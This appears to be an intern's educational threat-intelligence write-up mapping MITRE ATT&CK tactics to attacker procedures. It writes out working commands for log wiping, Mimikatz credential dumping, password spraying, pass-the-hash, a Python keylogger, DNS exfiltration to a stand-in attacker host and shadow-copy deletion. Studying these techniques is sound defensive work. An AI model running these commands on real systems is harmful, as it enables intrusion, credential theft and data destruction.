Proof of Concept (POC) – Cyber Threat Intelligence

Intern Name: Sayali Vijay Pol

Intern ID: 345

Organization: Digisuraksha parhari foundation

What is Threat Intelligence?

Threat Intelligence is the practice of collecting and analyzing data on cyber threats to predict, detect, and respond effectively. It helps organizations understand **who** might attack, **how** they do it, and **why** they target specific systems, enabling proactive defenses.

1. Defense Evasion (TA0005)

The adversary tries to hide their actions and avoid detection.

Techniques:

- **T1070 – Indicator Removal on Host:** Deleting or altering logs, files, or evidence of intrusion.
- **T1027 – Obfuscated Files or Information:** Encoding or encrypting malware to hide its purpose.
- **T1562 – Impair Defenses:** Disabling or modifying security tools.

Procedures:

1. ### Clear Windows Event Logs:

powershell

wevtutil cl Security

wevtutil cl System

Outcome: Event logs are wiped, removing forensic evidence and making investigation harder.

2. ### Obfuscate Executable with UPX:

bash

upx --best malicious.exe

Outcome: Packed file bypasses basic antivirus detection and hides malicious code structure.

2. Credential Access (TA0006)

Stealing usernames, passwords, and authentication data.

Techniques

- **T1003 – OS Credential Dumping:** Extracting credentials from LSASS or SAM database.
- **T1110 – Brute Force:** Trying multiple passwords until one works.
- **T1056 – Input Capture:** Keylogging or capturing typed data.

Procedures

1. **Dump LSASS Memory with Mimikatz:**

powershell

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords"

Outcome: Attacker obtains plaintext and hashed credentials for local and domain accounts.

2. **Password Spraying with CrackMapExec:**

bash

crackmapexec smb 192.168.1.0/24 -u users.txt -p "Welcome123"

Outcome: Multiple accounts are compromised without triggering account lockout policies.

3. Discovery (TA0007)

Identifying systems, services, and user accounts in the environment.

Techniques

- **T1087 – Account Discovery:** Listing local or domain accounts.
- **T1082 – System Information Discovery:** Gathering OS, architecture, and hardware details.
- **T1018 – Remote System Discovery:** Finding other systems over the network.

Procedures

1. **Enumerate Domain Accounts:**

cmd

net user /domain

net group "Domain Admins" /domain

Outcome: Attacker identifies privileged accounts for future targeted attacks.

2. **Network Ping Sweep:**

bash

for i in {1..254}; do ping -c 1 192.168.1.$i | grep "64 bytes"; done

Outcome: Live hosts are mapped, helping the attacker plan lateral movement.

4. Lateral Movement (TA0008)

Moving between systems inside the network.

Techniques

- **T1021 – Remote Services:** Using RDP, SSH, or SMB for remote access.
- **T1550 – Use Alternate Authentication Material:** Using stolen hashes or tickets for authentication.
- **T1072 – Software Deployment Tools:** Using admin tools like SCCM or PsExec to move laterally.

Procedures

1. **RDP with Stolen Credentials:**

cmd

mstsc /v:192.168.1.50 /admin

Outcome: Remote desktop session established, allowing attacker to control target system.

2. **Pass-the-Hash with CrackMapExec:**

bash

crackmapexec smb 192.168.1.0/24 -u Administrator -H <NTLM hash>

Outcome: Attacker authenticates to systems without knowing plaintext passwords.

5. Collection (TA0009)

Gathering sensitive data before exfiltration.

Techniques

- **T1005 – Data from Local System:** Searching local files for valuable data.
- **T1056 – Input Capture:** Keylogging or GUI capturing.
- **T1114 – Email Collection:** Extracting data from local or cloud email.

Procedures

1. **Search for Sensitive Documents:**

powershell

Get-ChildItem -Path C:\Users\ -Include *.docx,*.xlsx,*.pdf -Recurse

Outcome: Sensitive documents are located and staged for theft.

2. **Keylogger Deployment:**

python

```
from pynput.keyboard import Listener

def on_press(key):
    with open("keys.txt", "a") as f:
        f.write(str(key))

Listener(on_press=on_press).start()
```

Outcome: All keystrokes are recorded, including passwords and confidential information.

6. Command and Control (TA0011)

Communicating with compromised systems.

Techniques

- **T1071 – Application Layer Protocol:** Using HTTP/HTTPS or DNS for C2 traffic.
- **T1573 – Encrypted Channel:** Encrypting C2 communications.
- **T1090 – Proxy:** Routing traffic through intermediaries.

Procedures

1. **HTTP C2 with Cobalt Strike:**
    - Beacon configured to mimic normal web traffic using /jquery.min.js.
2. **DNS Tunneling:**

bash

nslookup secretdata.attacker.com

Outcome: Data is exfiltrated via DNS queries, bypassing traditional HTTP monitoring.

7. Exfiltration (TA0010)

Stealing data from the target.

Techniques

- **T1041 – Exfiltration Over C2 Channel:** Sending stolen data through an existing C2 link.
- **T1567 – Exfiltration Over Web Service:** Uploading data to cloud storage services.
- **T1048 – Exfiltration Over Alternative Protocol:** Using FTP, SMTP, or other non-C2 protocols.

Procedures

1. **Upload to Google Drive:**

bash

rclone copy /data remote:backup

Outcome: Files are moved to attacker-controlled cloud storage disguised as normal backup activity.

2. **Email-Based Exfiltration:**

python

import smtplib

 # send stolen file as email attachment

Outcome: Stolen files are sent via legitimate email accounts, evading network filters.

8. Impact (TA0040)

Disrupting, damaging, or destroying systems and data.

Techniques

- **T1486 – Data Encrypted for Impact:** Ransomware encryption.
- **T1490 – Inhibit System Recovery:** Deleting backups and recovery files.
- **T1498 – Network Denial of Service:** Flooding network services to cause outages.

Procedures

1. **Encrypt Files with AES:**

   (Example encryption code for all .docx files)

2. **Delete Shadow Copies:**

cmd

vssadmin delete shadows /all /quiet

Outcome: Prevents system restoration from backups, increasing ransomware impact.